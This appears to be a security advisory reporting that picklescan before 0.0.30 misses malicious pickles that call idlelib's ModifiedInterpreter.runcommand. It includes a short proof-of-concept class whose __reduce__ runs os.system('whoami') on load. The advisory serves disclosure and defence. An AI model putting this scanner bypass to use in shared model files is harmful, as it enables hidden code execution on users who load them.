Affected: picklescan

picklescan before 0.0.30 fails to detect malicious pickle files using idlelib.pyshell.ModifiedInterpreter.runcommand in reduce methods. Attackers can embed undetected code in pickle files that executes remote commands when loaded by victims.

Affected: PyPI: picklescan

### Summary

Using idlelib.pyshell.ModifiedInterpreter.runcommand function, which is a built-in python library function to execute remote pickle file.

### Details

The attack payload executes in the following steps:

First, the attacker craft the payload by calling to idlelib.pyshell.ModifiedInterpreter.runcommand function in reduce method Then when the victim after checking whether the pickle file is safe by using Picklescan library and this library doesn't dectect any dangerous functions, decide to pickle.load() this malicious pickle file, thus lead to remote code execution.

### PoC

``` from idlelib.pyshell import ModifiedInterpreter from types import SimpleNamespace

class EvilIdlelibPyshellModifiedInterpreterRuncommand: def __reduce__(self): payload = "__import__('os').system('whoami')" fake_self = SimpleNamespace( locals={}, tkconsole=SimpleNamespace(executing=False), rpcclt=None, debugger=None ) return ModifiedInterpreter.runcommand, (fake_self, payload)

```

### Impact

Who is impacted? Any organization or individual relying on picklescan to detect malicious pickle files inside PyTorch models. What is the impact? Attackers can embed malicious code in pickle file that remains undetected but executes when the pickle file is loaded. Supply Chain Attack: Attackers can distribute infected pickle files across ML models, APIs, or saved Python objects.

### Corresponding

https://github.co…